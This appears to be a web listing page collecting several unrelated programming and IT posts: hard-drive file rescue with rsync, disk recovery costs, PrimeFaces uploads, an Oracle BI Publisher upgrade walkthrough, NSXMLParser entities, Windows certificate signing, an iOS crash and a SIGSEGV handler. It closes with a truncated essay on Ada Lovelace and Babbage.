    I have a hard drive with either bad blocks or sectors that are failing to read due to potential mechanical issues, such as a bad disk head, bad motor, or some other issue that is causing the hard drive to read data excruciatingly slowly and with lots of read errors. I'm seeing an average of 50 KB/sec, with some reads dropping below 10 KB/sec, and frequently it gets stuck on a file or sector altogether, usually for quite a long time—from 2-10 minutes or more (when using rsync, before it times out). Speed seems to vary wildly, and it gets stuck on files a lot, and when it finally gets "unstuck" it only seems to last for a short burst before it gets stuck again. The drive is also very quiet with only an occasional sound of files copying (usually when it gets stuck/unstuck for a brief time, before getting stuck again). Thus, there are none of those evil sounds that are normally associated with HDD death. Someone suggested that the problems sounded like they might be caused by a misaligned disk head, which requires a lot of re-reads before it finally reads data with success. Sounds plausible, but I digress... Anyway, the problem with rsync is that it seems to have no decent error handling support. Obviously, it wasn't meant for use in recovering data from failing hard drives, but all the so-called "data recovery" utilities out there that are meant for such use usually focus on recovery of deleted files or messed up partitions, rather than copying files off dying hard drives. Deleted file recovery is not what I need, obviously, so perhaps you can understand my disappointment in not being able to find what I'm after yet. Naturally, this is where you'd probably say "You should use ddrescue!" Well, that's all fine and dandy, but I've already got most of the data backed up, so I just want to recover certain files. I'm not concerned with trying to recover a full partition block-by-block as ddrescue does. I am only interested in rescuing just specific files and directories. Ideally, what I'd like is some sort of cross between rsync and ddrescue: something that lets me specify source and destination as directories of normal files like rsync (rather than two full partitions as ddrescue requires), with a way to skip files with errors in an initial run, and then allows me to attempt recovery of those files with errors in a later run (with a slightly altered command, of course), perhaps even offering an option to specify the number of retry attempts ...just like how ddrescue works with blocks, only I want a utility that works with specific files/directories like rsync does. So am I daydreaming here, or does something out there exist that can do this? Or, maybe even a way to make rsync or ddrescue work in such a way? I'm really open to whatever solutions might work, so long as they let me choose which files I want to "rescue", and can skip files with errors in the initial run, and try/retry those errors again later. So far I've tried rsync with the following options, but it often gets stuck on a file for longer than the timeout, and ideally I'd just like it to move on to the next file and come back later to the files it gets stuck on. I don't think that's possible though. Anyway, here's what I've been using up till now: rsync -avP --stats --block-size=512 --timeout=600 /path/to/source/* /path/to/destination/

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  • A failed disk (Pay for professional service or SpinRite?)(new edit)

    - by huggie
    EDIT: After much negotiating and begging and seeing through promotion smoke screen, thanks to the nice representative who took my case, I now know that the engineer has already fixed my NTFS partition (I guess it might be a bad block in the partition table?). She told me that the problem was considered minor, and I should be able to boot normally and just copy stuff out. Whew..I'm glad I didn't agree to the NTD $16,000 deal. New question (should this be in a new thread?): is it safer to use the linux "dd" command or is it better to boot normally into Windows XP and just copy stuff out? EDIT2: Thanks to all the help. I give the best answer to Console as it's most directed related to my question. But many suggestion are helpful and informational. ---- ORIGINAL POST BELOW --- Hi, in my previous post (You don't need to read but it's at http://superuser.com/questions/48838/windows-xp-a-disk-read-error-occurred), I said that my hard disk was not booting and is showing "a disk read error occurred". I took it to a recovery professional. A representative responded today told me that the NTFS partitions have a "NTFS partition system crash". I have no idea what that means. The engineer handling my drive will not be available for contact till tomorrow. Now the company charges me NTD (New Taiwan Dollar) $16,000 to recover lost data, that's kind of a lot considering that my graduate student monthly stipend is currently NTD $32,000 (max. allowed by regulation, may be lower, may change depend on funding). Now I'm weighting in between the options. Option A: let the professional recovers it with the half of my monthly stipend. If file/directories I designated are not recovered I don't pay a penny. (other than the initial examination fee of NTD $1000 which I've already paid.) Option B: let me try SpinRite, if failed, back to Option A. I spoke to the representative at the company they recommended me not to handle it on my own (yeah of course that's what they all want to say, right?), and at the price tag the disk error is probably relatively minor and data recoverable. But the representative really did not have detailed information of the disk failure so I didn't take her recommendation readily. Though one thing I heed was that she said that what they would do is to duplicate the disk before attempting discovery, so there would be no data loss (Is this true? can't duplicating invoke further data loss?). That sounds very good to me. Or maybe a third option: Option C: Negotiate with them to pay them to duplicate the disk hopefully for a much smaller price tag. Let me try SpinRite, if failed, back to Option A. This is a difficult decision. Ultimately I want my data back, but if a cheaper way is available to achieve the same thing... Can operating with SpinRite also corrupt data in someway? I've no idea what happened to my drive. I'll attempt to contact the engineer and hope to get it clarified and make an edit here.

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  • Primefaces p:fileupload component problem

    - by Nitesh Panchal
    Hello, I am using Primefaces 2.0.1 but the FileUpload component is not working properly. It uses JQuery uploadify behind the scenes. This is my web.xml <?xml version="1.0" encoding="UTF-8"?> <web-app version="3.0" xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd"> <filter> <filter-name>PrimeFaces FileUpload Filter</filter-name> <filter-class>org.primefaces.webapp.filter.FileUploadFilter</filter-class> </filter> <filter-mapping> <filter-name>PrimeFaces FileUpload Filter</filter-name> <servlet-name>Faces Servlet</servlet-name> </filter-mapping> <servlet> <servlet-name>Faces Servlet</servlet-name> <servlet-class>javax.faces.webapp.FacesServlet</servlet-class> <load-on-startup>1</load-on-startup> </servlet> <servlet-mapping> <servlet-name>Faces Servlet</servlet-name> <url-pattern>*.jsf</url-pattern> </servlet-mapping> <servlet> <servlet-name>Resource Servlet</servlet-name> <servlet-class>org.primefaces.resource.ResourceServlet</servlet-class> <load-on-startup>1</load-on-startup> </servlet> <servlet-mapping> <servlet-name>Resource Servlet</servlet-name> <url-pattern>/primefaces_resource/*</url-pattern> </servlet-mapping> <welcome-file-list> <welcome-file>index.jsf</welcome-file> </welcome-file-list> </web-app> This is my index.xhtml :- <?xml version='1.0' encoding='UTF-8' ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:h="http://java.sun.com/jsf/html" xmlns:p="http://primefaces.prime.com.tr/ui"> <h:head> <title>Facelet Title</title> </h:head> <h:body> <h:form prependId="false"> <h:commandButton actionListener="#{NewJSFManagedBean.add}" value="add"/> <p:fileUpload auto="false" widgetVar="fileUpl" fileUploadListener="#{NewJSFManagedBean.saveFile}"/> </h:form> </h:body> </html> I have following libraries in my classpath :- primefaces 2.0.1 commons-beanutils commons-beanutils-bean-collection commons-digestor commons-fileUpload commons-io commons-logging jhighlight The file gets correctly uploaded in /tmp but in browser it always says HTTP error. Please help me. It used to work till yesterday. But today i did a fresh installation of Glassfish and it has stopped working.

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  • Upgrade Your Existing BI Publisher 11g (11.1.1.3) to 11.1.1.5

    - by Kan Nishida
    It’s already more than a month now since BI Publisher 11.1.1.5 was released at beginning of May. Have you already tried out many of the great new features? If you are already running on the first version of BI Publisher 11g (11.1.1.3) you might wonder how to upgrade the existing BI Publisher to the 11.1.1.5 version. There are two ways to do this, one is ‘Out-Place’ and another is ‘In-Place’. The ‘Out-Place’ would be quite simple. Basically you will need to install the whole BI or just BI Publisher standalone R11.1.1.5 at a different location then you can switch the catalog to the existing one so that all the reports will be there in the new 11.1.1.5 environment. But sometimes things are not that simple, you might have some custom applications or configuration on the original environment and you want to keep all of them with the upgraded environment. For such scenarios, there is the ‘In-Place’ upgrade, which overrides on top of the original environment only the parts relevant for BI and BI Publisher, and that’s what I’m going to talk about today. Here is the basic steps of the ‘In-Place’ upgrade. Upgrade WebLogic Server to 10.3.5 Upgrade BI System to 11.1.1.5 Upgrade Database Schema Re-register BI Components Upgrade FMW (Fusion Middleware) Configuration Upgrade BI Catalog There is a section that talks about this upgrade from 11.1.1.3 to 11.1.1.5 as part of the overall upgrade document. But I hope my blog post summarized it and made it simple for you to cover only what’s necessary. Upgrade Document: http://download.oracle.com/docs/cd/E21764_01/bi.1111/e16452/bi_plan.htm#BABECJJH Before You Start Stop BI System and Backup I can’t emphasize enough, but before you start PLEASE make sure you take a backup of the existing environments first. You want to stop all WebLogic Servers, Node Manager, OPMN, and OPMN-managed system components that are part of your Oracle BI domains. If you’re on Windows you can do this by simply selecting ‘Stop BI Services’ menu. Then backup the whole system. Upgrade WebLogic Server to 10.3.5 Download WebLogic Server 10.3.5 Upgrade Installer With BI 11.1.1.3 installation your WebLogic Server (WLS) is 10.3.3 and you need to upgrade this to 10.3.5 before upgrading the BI part. In order to upgrade you will need this 10.3.5 upgrade version of WLS, which you can download from our support web site (https://support.oracle.com) You can find the detail information about the installation and the patch numbers for the WLS upgrade installer on this document. Just for your short cut, if you are running on Windows or Linux (x86) here is the patch number for your platform. Windows 32 bit: 12395517: Linux: 12395517 Upgrade WebLogic Server 1. After unzip the downloaded file, launch wls1035_upgrade_win32.exe if you’re on Windows. 2. Accept all the default values and keep ‘Next’ till end, and start the upgrade. Once the upgrade process completes you’ll see the following window. Now let’s move to the BI upgrade. Upgrade BI Platform to 11.1.1.5 with Software Only Install Download BI 11.1.1.5 You can download the 11.1.1.5 version from our OTN page for your evaluation or development. For the production use it’s recommended to download from eDelivery. 1. Launch the installer by double click ‘setup.exe’ (for Windows) 2. Select ‘Software Only Install’ option 3. Select your original Oracle Home where you installed BI 11.1.1.3. 4. Click ‘Install’ button to start the installation. And now the software part of the BI has been upgraded to 11.1.1.5. Now let’s move to the database schema upgrade. Upgrade Database Schema with Patch Assistant You need to upgrade the BIPLATFORM and MDS Schemas. You can use the Patch Assistant utility to do this, and here is an example assuming you’ve created the schema with ‘DEV’ prefix, otherwise change it with yours accordingly. Upgrade BIPLATFORM schema (if you created this schema with DEV_ prev) psa.bat -dbConnectString localhost:1521:orcl -dbaUserName sys -schemaUserName DEV_BIPLATFORM Upgrade MDS schema (if you created this schema with DEV_ prev) psa.bat -dbConnectString localhost:1521:orcl -dbaUserName sys -schemaUserName DEV_MDS Re-register BI System components Now you need to re-register your BI system components such as BI Server, BI Presentation Server, etc to the Fusion Middleware system. You can do this by running ‘upgradenonj2eeapp.bat (or .sh)’ command, which can be found at %ORACLE_HOME%/opmn/bin. Before you run, you need to start the WLS Server and make sure your WLS environment is not locked. If it’s locked then you need to release the system from the Fusion Middleware console before you run the following command. Here is the syntax for the ‘upgradenonj2eeapp.bat (or .sh) command.  upgradenonj2eeapp.bat    -oracleInstance Instance_Home_Location    -adminHost WebLogic_Server_Host_Name    -adminPort administration_server_port_number    -adminUsername administration_server_user And here is an example: cd %BI_HOME%\opmn\bin upgradenonj2eeapp.bat -oracleInstance C:\biee11\instances\instance1 -adminHost localhost -adminPort 7001 -adminUsername weblogic Upgrade Fusion Middleware Configuration There are a couple things on the Fusion Middleware need to be upgraded for the BI system to work. Here is a list of the components to upgrade. Upgrade Shared Library (JRF) Upgrade Fusion Middleware Security (OPSS) Upgrade Code Grants Upgrade OWSM Policy Repository Before moving forward, you need to stop the WebLogic Server. Here is an example. cd %MW_HOME%user_projects\domains\bifoundation_domain\binstopWebLogic.cmd And, let’s start with ‘Upgrade Shared Library (JRF)’. Upgrade Shared Library (JRF) You can use updateJRF() WLST command to upgrade the shared libraries in your domain. Before you do this, you need to stop all running instances, Managed Servers, Administration Server, and Node Manager in the domain. Here is an example of the ‘upgradeJRF()’ command: cd %MW_HOME%\oracle_common\common\bin wlst.cmd upgradeJRF('C:/biee11/user_projects/domains/bifoundation_domain') Upgrade Fusion Middleware Security (OPSS) This step is to upgrade the Fusion Middleware security piece. You can use ‘upgradeOpss()’ WLST command. Here is a syntax for the command. upgradeOpss(jpsConfig="existing_jps_config_file", jaznData="system_jazn_data_file") The ‘existing jps-config.xml file can be found under %DOMAIN_HOME%/config/fmwconfig/jps-config.xml and the ‘system_jazn_data_file’ can be found under %MW_HOME%/oracle_common/modules/oracle.jps_11.1.1/domain_config/system-jazn-data.xml. And here is an example: cd %MW_HOME%\oracle_common\common\bin wlst.cmd upgradeOpss(jpsConfig="c:/biee11/user_projects/domains/bifoundation_domain/config/fmwconfig/jps-config.xml", jaznData="c:/biee11/oracle_common/modules/oracle.jps_11.1.1/domain_config/system-jazn-data.xml") exit() Upgrade Code Grants for Oracle BI Domain And this is the last step for the Fusion Middleware platform upgrade task. You need to run this python script ‘bi-upgrade.py‘ script to configure the code grants necessary to ensure that SSL works correctly for Oracle BI. However, even if you don’t use SSL, you still need to run this script. And if you have multiple BI domains (Enterprise deployment) then you need to run this on each domain. Here is an example: cd %MW_HOME%\oracle_common\common\bin wlst c:\biee11\Oracle_BI1\bin\bi-upgrade.py --bioraclehome c:\biee11\Oracle_BI1 --domainhome c:\biee11\user_projects\domains\bifoundation_domain Upgrade OWSM Policy Repository This is to upgrade OWSM (Oracle Web Service Manager) policy repository, you can use WLST command ‘upgradeWSMPolicyRepository()’. In order to run this command you need to have your WebLogic Server up-and-running. Here is an example. cd %MW_HOME%user_projects\domains\bifoundation_domain\binstopWebLogic.cmd cd %MW_HOME%\oracle_common\common\bin wlst.cmd connect ('weblogic','welcome1','t3://localhost:7001') upgradeWSMPolicyRepository() exit() Upgrade BI Catalogs This step is required only when you have your BI Publisher integrated with BIEE. If your BI Publisher is deployed as a standalone then you don’t need to follow this step. Now finally, you can upgrade the BI catalog. This won’t upgrade your BI Publisher reports themselves, but it just upgrades some attributes information inside the catalog. Before you do this upgrade, make sure the BI system components are not running. You can check the status by the command below. opmnctl status You can do the upgrade by updating a configuration file ‘instanceconfig.xml’, which can be found at %BI_HOME%\instances\instance1\config\coreapplication_obips1, and change the value of ‘UpgradeAndExit’ to be ‘true’. Here is an example: <ps:Catalog xmlns:ps="oracle.bi.presentation.services/config/v1.1"> <ps:UpgradeAndExit>true</ps:UpgradeAndExit> </ps:Catalog> After you made the change and save the file, you need to start the BI Presentation Server. This time you want to start only the BI Presentation Server instead of starting all the servers. You can use ‘opmnctl’ to do so, and here is an example. cd %ORACLE_INSTANCE%\bin opmnctl startproc ias-component=coreapplication_obips1 This would upgrade your BI Catalog to be 11.1.1.5. After the catalog is updated, you can stop the BI Presentation Server so that you can modify the instanceconfig.xml file again to revert the upgradeAndExit value back to ‘false’. Start Explore BI Publisher 11.1.1.5 After all the above steps, you can start all the BI Services, access to the same URL, now you have your BI Publisher and/or BI 11.1.1.5 in your hands. Have fun exploring all the new features of R11.1.1.5!

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  • Resolving html entities with NSXMLParse on iPhone

    - by Roberto
    Hi all, i think i read every single web page relating to this problem but i still cannot find a solution to it, so here i am. I have an HTML web page wich is not under my control and i need to parse it from my iPhone application. Here it is a sample of the web page i'm talking about: <HTML> <HEAD> <META http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> </HEAD> <BODY> <LI class="bye bye" rel="hello 1"> <H5 class="onlytext"> <A name="morning_part">morning</A> </H5> <DIV class="mydiv"> <SPAN class="myclass">something about you</SPAN> <SPAN class="anotherclass"> <A href="http://www.google.it">Bye Bye &egrave; un saluto</A> </SPAN> </DIV> </LI> </BODY> </HTML> I'm using NSXMLParser and it is going well till it find the è html entity. It calls foundCharacters: for "Bye Bye" and then it calls resolveExternalEntityName:systemID:: with an entityName of "egrave". In this method i'm just returning the character "è" trasformed in an NSData, the foundCharacters is called again adding the string "è" to the previous one "Bye Bye " and then the parser raise the NSXMLParserUndeclaredEntityError error. I have no DTD and i cannot change the html file i'm parsing. Do you have any ideas on this problem? Thanks in advance to all of you, Rob. Update (12/03/2010). After the suggestion of Griffo i ended up with something like this: data = [self replaceHtmlEntities:data]; NSXMLParser *parser = [[NSXMLParser alloc] initWithData:data]; [parser setDelegate:self]; [parser parse]; where replaceHtmlEntities:(NSData *) is something like this: - (NSData *)replaceHtmlEntities:(NSData *)data { NSString *htmlCode = [[NSString alloc] initWithData:data encoding:NSISOLatin1StringEncoding]; NSMutableString *temp = [NSMutableString stringWithString:htmlCode]; [temp replaceOccurrencesOfString:@"&amp;" withString:@"&" options:NSLiteralSearch range:NSMakeRange(0, [temp length])]; [temp replaceOccurrencesOfString:@"&nbsp;" withString:@" " options:NSLiteralSearch range:NSMakeRange(0, [temp length])]; ... [temp replaceOccurrencesOfString:@"&Agrave;" withString:@"À" options:NSLiteralSearch range:NSMakeRange(0, [temp length])]; NSData *finalData = [temp dataUsingEncoding:NSISOLatin1StringEncoding]; return finalData; } But i am still looking the best way to solve this problem. I will try TouchXml in the next days but i still think that there should be a way to do this using NSXMLParser API, so if you know how, feel free to write it here :)

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  • How do I sign my certificate using the root certificate

    - by Asif Alam
    I am using certificate based authentication between my server and client. I have generated Root Certificate. My client at the time of installation will generate a new Certificate and use the Root Certificate to sign it. I need to use Windows API. Cannot use any windows tools like makecert. Till now I have been able to Install the Root certificate in store. Below code X509Certificate2 ^ certificate = gcnew X509Certificate2("C:\\rootcert.pfx","test123"); X509Store ^ store = gcnew X509Store( "teststore",StoreLocation::CurrentUser ); store->Open( OpenFlags::ReadWrite ); store->Add( certificate ); store->Close(); Then open the installed root certificate to get the context GetRootCertKeyInfo(){ HCERTSTORE hCertStore; PCCERT_CONTEXT pSignerCertContext=NULL; DWORD dwSize = NULL; CRYPT_KEY_PROV_INFO* pKeyInfo = NULL; DWORD dwKeySpec; if ( !( hCertStore = CertOpenStore(CERT_STORE_PROV_SYSTEM, 0, NULL, CERT_SYSTEM_STORE_CURRENT_USER,L"teststore"))) { _tprintf(_T("Error 0x%x\n"), GetLastError()); } pSignerCertContext = CertFindCertificateInStore(hCertStore,MY_ENCODING_TYPE,0,CERT_FIND_ANY,NULL,NULL); if(NULL == pSignerCertContext) { _tprintf(_T("Error 0x%x\n"), GetLastError()); } if(!(CertGetCertificateContextProperty( pSignerCertContext, CERT_KEY_PROV_INFO_PROP_ID, NULL, &dwSize))) { _tprintf(_T("Error 0x%x\n"), GetLastError()); } if(pKeyInfo) free(pKeyInfo); if(!(pKeyInfo = (CRYPT_KEY_PROV_INFO*)malloc(dwSize))) { _tprintf(_T("Error 0x%x\n"), GetLastError()); } if(!(CertGetCertificateContextProperty( pSignerCertContext, CERT_KEY_PROV_INFO_PROP_ID, pKeyInfo, &dwSize))) { _tprintf(_T("Error 0x%x\n"), GetLastError()); } return pKeyInfo; } Then finally created the certificate and signed with the pKeyInfo // Acquire key container if (!CryptAcquireContext(&hCryptProv, _T("trykeycon"), NULL, PROV_RSA_FULL, CRYPT_MACHINE_KEYSET)) { _tprintf(_T("Error 0x%x\n"), GetLastError()); // Try to create a new key container _tprintf(_T("CryptAcquireContext... ")); if (!CryptAcquireContext(&hCryptProv, _T("trykeycon"), NULL, PROV_RSA_FULL, CRYPT_NEWKEYSET | CRYPT_MACHINE_KEYSET)) { _tprintf(_T("Error 0x%x\n"), GetLastError()); return 0; } else { _tprintf(_T("Success\n")); } } else { _tprintf(_T("Success\n")); } // Generate new key pair _tprintf(_T("CryptGenKey... ")); if (!CryptGenKey(hCryptProv, AT_SIGNATURE, 0x08000000 /*RSA-2048-BIT_KEY*/, &hKey)) { _tprintf(_T("Error 0x%x\n"), GetLastError()); return 0; } else { _tprintf(_T("Success\n")); } //some code CERT_NAME_BLOB SubjectIssuerBlob; memset(&SubjectIssuerBlob, 0, sizeof(SubjectIssuerBlob)); SubjectIssuerBlob.cbData = cbEncoded; SubjectIssuerBlob.pbData = pbEncoded; // Prepare algorithm structure for self-signed certificate CRYPT_ALGORITHM_IDENTIFIER SignatureAlgorithm; memset(&SignatureAlgorithm, 0, sizeof(SignatureAlgorithm)); SignatureAlgorithm.pszObjId = szOID_RSA_SHA1RSA; // Prepare Expiration date for self-signed certificate SYSTEMTIME EndTime; GetSystemTime(&EndTime); EndTime.wYear += 5; // Create self-signed certificate _tprintf(_T("CertCreateSelfSignCertificate... ")); CRYPT_KEY_PROV_INFO* aKeyInfo; aKeyInfo = GetRootCertKeyInfo(); pCertContext = CertCreateSelfSignCertificate(NULL, &SubjectIssuerBlob, 0, aKeyInfo, &SignatureAlgorithm, 0, &EndTime, 0); With the above code I am able to create the certificate but it does not looks be signed by the root certificate. I am unable to figure what I did is right or not.. Any help with be greatly appreciated.. Thanks Asif

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  • App is getting run in iOS 5.1.1 but crashed in iOS 6.1.3

    - by Jekil Patel
    I have implemented below code but app has been crashed in iPad with iOS version 6.1.3,while running perfectly in iPad with iOS version 5.1.1. when I am scrolling table view continuously it is crashed in ios version 6.1.3. what could be the issue. The implemented delegate and data source methods for the table view are as given below. #pragma mark - Table view data source -(NSInteger)numberOfSectionsInTableView:(UITableView *)tableView { // Return the number of sections. return 1; } -(NSInteger)tableView:(UITableView *)tableView numberOfRowsInSection:(NSInteger)section { // Return the number of rows in the section. return [UserList count]; } -(CGFloat)tableView:(UITableView *)tableView heightForRowAtIndexPath:(NSIndexPath *)indexPath { return 70; } -(UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath { static NSString *CellIdentifier = @"Cell"; UITableViewCell *cell = [tableView dequeueReusableCellWithIdentifier:CellIdentifier]; //cell = [[[UITableViewCell alloc]initWithStyle:UITableViewCellStyleDefault reuseIdentifier:CellIdentifier] autorelease]; cell = nil; if (cell == nil) { // cell = [[[UITableViewCell alloc] initWithFrame:CGRectZero reuseIdentifier:CellIdentifier] autorelease]; cell = [[[UITableViewCell alloc]initWithStyle:UITableViewCellStyleDefault reuseIdentifier:CellIdentifier] autorelease]; } UIImageView *imgViweback; imgViweback = [[UIImageView alloc]initWithFrame:CGRectMake(0,0,0,0)]; imgViweback.image = [UIImage imageNamed:@"1scr-Student List Tab BG.png"]; UIImageView *imageView = [[UIImageView alloc] initWithFrame:CGRectMake(5, 10, 32, 32)]; UIImageView *imageView1 = [[UIImageView alloc]initWithFrame:CGRectMake(12, 5, 50, 50)]; UILabel *lblName = [[UILabel alloc] initWithFrame:CGRectMake(110, 5, 200, 40)]; //cell.backgroundColor = [UIColor clearColor]; //cell.alpha = 0.5f; CountSelected = 0; flagQuizEnabled = NO; if ([[[checkedImages objectAtIndex:indexPath.row] valueForKey:@"checked"] isEqualToString:@"NO"]) { // cell.imageView.image = [UIImage imageNamed:@"Unchecked.png"]; //imageView.image = [UIImage imageNamed:@"Unchecked.png"]; } else { //imageView.image = [UIImage imageNamed:@"Checked.png"]; } NSString *pathTillApp=[[self getImagePath] stringByDeletingLastPathComponent]; NSLog(@"Path Till App %@",pathTillApp); NSString *makePath=[NSString stringWithFormat:@"%@%@",pathTillApp,[[UserList objectAtIndex:indexPath.row ]valueForKey:@"ImagePath"]]; NSLog(@"makepath=%@",makePath); imageView1.image = [UIImage imageWithContentsOfFile:makePath]; [cell.contentView insertSubview:imgViweback atIndex:0]; [cell.contentView insertSubview:imageView atIndex:0]; [cell.contentView insertSubview:imageView1 atIndex:2]; lblName.text =[NSString stringWithFormat:@"%@ %@",[[UserList objectAtIndex:indexPath.row] valueForKey:@"FirstName"],[[UserList objectAtIndex:indexPath.row] valueForKey:@"LastName"]]; lblName.backgroundColor = [UIColor clearColor]; lblName.font = [UIFont boldSystemFontOfSize:22.0f]; //lblName.font = [UIFont fontWithName:@"HelveticaNeue Heavy" size:22.0f]; lblName.font = [UIFont fontWithName:@"Chalkboard SE" size:22.0f]; [cell.contentView insertSubview:lblName atIndex:3]; [imgViweback release]; [imageView release]; [imageView1 release]; [lblName release]; imgViweback = nil; imageView = nil; imageView1 = nil; lblName = nil; //cell.accessoryType = UITableViewCellAccessoryDetailDisclosureButton; return cell; } #pragma mark - Table view delegate -(void)tableView:(UITableView *)tableView didSelectRowAtIndexPath:(NSIndexPath *)indexPath { NSLog(@"Values : %@", Val); }

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  • Write a signal handler to catch SIGSEGV

    - by Adi
    Hi all, I want to write a signal handler to catch SIGSEGV. First , I would protect a block of memory for read or writes using char *buffer; char *p; char a; int pagesize = 4096; " mprotect(buffer,pagesize,PROT_NONE) " What this will do is , it will protect the memory starting from buffer till pagesize for any reads or writes. Second , I will try to read the memory by doing something like p = buffer; a = *p This will generate a SIGSEGV and i have initialized a handler for this. The handler will be called . So far so good. Now the problem I am facing is , once the handler is called, I want to change the access write of the memory by doing mprotect(buffer, pagesize,PROT_READ); and continue my normal functioning of the code. I do not want to exit the function. On future writes to the same memory, I want again catch the signal and modify the write rights and then take account of that event. Here is the code I am trying : #include <signal.h> #include <stdio.h> #include <malloc.h> #include <stdlib.h> #include <errno.h> #include <sys/mman.h> #define handle_error(msg) \ do { perror(msg); exit(EXIT_FAILURE); } while (0) char *buffer; int flag=0; static void handler(int sig, siginfo_t *si, void *unused) { printf("Got SIGSEGV at address: 0x%lx\n",(long) si->si_addr); printf("Implements the handler only\n"); flag=1; //exit(EXIT_FAILURE); } int main(int argc, char *argv[]) { char *p; char a; int pagesize; struct sigaction sa; sa.sa_flags = SA_SIGINFO; sigemptyset(&sa.sa_mask); sa.sa_sigaction = handler; if (sigaction(SIGSEGV, &sa, NULL) == -1) handle_error("sigaction"); pagesize=4096; /* Allocate a buffer aligned on a page boundary; initial protection is PROT_READ | PROT_WRITE */ buffer = memalign(pagesize, 4 * pagesize); if (buffer == NULL) handle_error("memalign"); printf("Start of region: 0x%lx\n", (long) buffer); printf("Start of region: 0x%lx\n", (long) buffer+pagesize); printf("Start of region: 0x%lx\n", (long) buffer+2*pagesize); printf("Start of region: 0x%lx\n", (long) buffer+3*pagesize); //if (mprotect(buffer + pagesize * 0, pagesize,PROT_NONE) == -1) if (mprotect(buffer + pagesize * 0, pagesize,PROT_NONE) == -1) handle_error("mprotect"); //for (p = buffer ; ; ) if(flag==0) { p = buffer+pagesize/2; printf("It comes here before reading memory\n"); a = *p; //trying to read the memory printf("It comes here after reading memory\n"); } else { if (mprotect(buffer + pagesize * 0, pagesize,PROT_READ) == -1) handle_error("mprotect"); a = *p; printf("Now i can read the memory\n"); } /* for (p = buffer;p<=buffer+4*pagesize ;p++ ) { //a = *(p); *(p) = 'a'; printf("Writing at address %p\n",p); }*/ printf("Loop completed\n"); /* Should never happen */ exit(EXIT_SUCCESS); } The problem I am facing with this is ,only the signal handler is running and I am not able to return to the main function after catching the signal.. Any help in this will be greatly appreciated. Thanks in advance Aditya

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  • Ada and 'The Book'

    - by Phil Factor
    The long friendship between Charles Babbage and Ada Lovelace created one of the most exciting and mysterious of collaborations ever to have resulted in a technological breakthrough. The fireworks that created by the collision of two prodigious mathematical and creative talents resulted in an invention, the Analytical Engine, which went on to change society fundamentally. However, beyond that, we just don't know what the bulk of their collaborative work was about:;  it was done in strictest secrecy. Even the known outcome of their friendship, the first programmable computer, was shrouded in mystery. At the time, nobody, except close friends and family, had any idea of Ada Byron's contribution to the invention of the ‘Engine’, and how to program it. Her great insight was published in August 1843, under the initials AAL, standing for Ada Augusta Lovelace, her title then being the Countess of Lovelace. It was contained in a lengthy ‘note’ to her translation of a publication that remains the best description of Babbage's amazing Analytical Engine. The secret identity of the person behind those enigmatic initials was finally revealed by Prince de Polignac who, seventy years later, wrote to Ada's daughter to seek confirmation that her mother had, indeed, been the author of the brilliant sentences that described so accurately how Babbage's mechanical computer could be programmed with punch-cards. L.F. Menabrea's paper on the Analytical Engine first appeared in the 'Bibliotheque Universelle de Geneve' in October 1842, and Ada translated it anonymously for Taylor's 'Scientific Memoirs'. Charles Babbage was surprised that she had not written an original paper as she already knew a surprising amount about the way the machine worked. He persuaded her to at least write some explanatory notes. These notes ended up extending to four times the length of the original article and represented the first published account of how a machine could be programmed to perform any calculation. Her example of programming the Bernoulli sequence would have worked on the Analytical engine had the device’s construction been completed, and gave Ada an unassailable claim to have invented the art of programming. What was the reason for Ada's secrecy? She was the only legitimate child of Lord Byron, who was probably the best known celebrity of the age, so she was already famous. She was a senior aristocrat, with titles, a fortune in money and vast estates in the Midlands. She had political influence, and was the cousin of Lord Melbourne, who was the Prime Minister at that time. She was friendly with the young Queen Victoria. Her mathematical activities were a pastime, and not one that would be considered by others to be in keeping with her roles and responsibilities. You wouldn't dare to dream up a fictional heroine like Ada. She was dazzlingly beautiful and talented. She could speak several languages fluently, and play some musical instruments with professional skill. Contemporary accounts refer to her being 'accomplished in science, art and literature'. On top of that, she was a brilliant mathematician, a talent inherited from her mother, Annabella Milbanke. In her mother's circle of literary and scientific friends was Charles Babbage, and Ada's friendship with him dates from her teenage zest for Mathematics. She was one of the first people he'd ever met who understood what he had attempted to achieve with the 'Difference Engine', and with whom he could converse as intellectual equals. He arranged for her to have an education from the most talented academics in the country. Ada melted the heart of the cantankerous genius to the point that he became a faithful and loyal father-figure to her. She was one of the very few who could grasp the principles of the later, and very different, ‘Analytical Engine’ which was designed from the start to tackle a variety of tasks. Sadly, Ada Byron's life ended less than a decade after completing the work that assured her long-term fame, in November 1852. She was dying of cancer, her gambling habits had caused her to run up huge debts, she'd had more than one affairs, and she was being blackmailed. Her brilliant but unempathic mother was nursing her in her final illness, destroying her personal letters and records, and repaying her debts. Her husband was distraught but helpless. Charles Babbage, however, maintained his steadfast paternalistic friendship to the end. She appointed her loyal friend to be her executor. For years, she and Babbage had been working together on a secret project, known only as 'The Book'. We have a clue to what it was in a letter written by her nine years earlier, on 11th August 1843. It was a joint project by herself and Lord Lovelace, her husband, and was intended to involve Babbage's 'undivided energies'. It involved 'consulting your Engine' (it required Babbage’s computer). The letter gives no hint about the project except for the high-minded nature of its purpose, and its highly mathematical nature.  From then on, the surviving correspondence between the two gives only veiled references to 'The Book'. There isn't much, since Babbage later destroyed any letters that could have damaged her reputation within the Establishment. 'I cannot spare the book today, which I am very sorry for. At the moment I want it for constant reference, but I think you can have it tomorrow' (Oct 1844)  And 'I will send you the book directly, and you can say, when you receive it, how long you will want to keep it'. (Nov 1844)  The two of them were obviously intent on the work: She writes, four years later, 'I have an engagement for Wednesday which will prevent me from attending to your wishes about the book' (Dec 1848). This was something that they both needed to work on, but could not do in parallel: 'I will send the book on Tuesday, and it can be left with you till Friday' (11 Feb 1849). After six years work, it had been so well-handled that it was beginning to fall apart: 'Don't forget the new cover you promised for the book. The poor book is very shabby and wants one' (20 Sept 1849). So what was going on? The word 'book' was not a code-word: it was a real book, probably a 'printer's blank', plain paper, but properly bound so printers and publishers could show off how the published work might look. The hints from the correspondence are of advanced mathematics. It is obvious that the book was travelling between them, back and forth, each one working on it for less than 